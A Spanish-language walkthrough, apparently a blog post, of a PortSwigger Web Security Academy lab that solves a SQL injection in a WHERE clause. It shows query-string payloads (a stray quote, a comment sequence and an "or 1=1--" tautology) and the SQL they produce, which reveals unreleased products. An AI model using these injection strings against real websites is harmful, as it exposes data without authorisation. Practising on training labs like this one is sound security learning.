SQL Injection vulnerability in WHERE clause allowing retrieval of hidden data – PortSwigger Write Up
En este post vamos a estar resolviendo el laboratorio de PortSwigger: “SQL Injection vulnerability in WHERE clause allowing retrieval of hidden data.”
Pasos
Primero, hagamos clic en una categoría.
Después de hacer clic en la categoría de regalos corporativos, la URL muestra:
❯ https://ac321f581f89aa2e808a3eb200d10094.web-security-academy.net/filter?category=Corporate+gifts
Observe las palabras en negrita, que son la cadena de consulta.
La aplicación realizará una consulta SQL para recuperar información de la base de datos:
❯ SELECT * FROM products WHERE category = 'Corporate gifts' AND released = 1
El objetivo es recuperar toda la información de los productos, de todas las categorías, y los productos lanzados y no lanzados.
La declaración anterior shows released = 1
significa que solo mostrará productos que se lanzan, donde lanzado = 0 representa no lanzado.
A continuación, si agrego una comilla simple al final de la cadena de consulta:
❯ ?category=Corporate+gifts'
❯ SELECT * FROM products WHERE category = 'Corporate gifts'' AND released = 1
Esto provocará un error, ya que hay una comilla simple que no está cerrada.
A continuación, agrego un guión doble:
❯ ?category=Corporate+gifts'--
En la cadena de consulta:
❯ SELECT * FROM products WHERE category = 'Corporate gifts'--' AND released = 1
Cualquier cosa después de –será tratada como comentarios en sql.
Lo que significa que ahora el sitio web debería mostrar todos los productos de la categoría Regalos corporativos, tanto lanzados como inéditos. Tenga en cuenta que hay un elemento adicional llamado Gadgets plegables.
Para mostrar completamente todo en la base de datos:
❯ ?category=Corporate+gifts' or 1=1--
En la cadena de consulta:
❯ SELECT * FROM products WHERE category = 'Corporate gifts' or 1=1--' AND released = 1
Ahora, con la consulta anterior, devolverá todos los productos cuando la categoría sea Coporate gifts
o 1=1
, dado que 1=1 siempre es verdadero, devolverá todos los artículos.
Y como se puede ver finalmente hemos resuelto el laboratorio:
¡Un saludo y espero que os sirva de apoyo!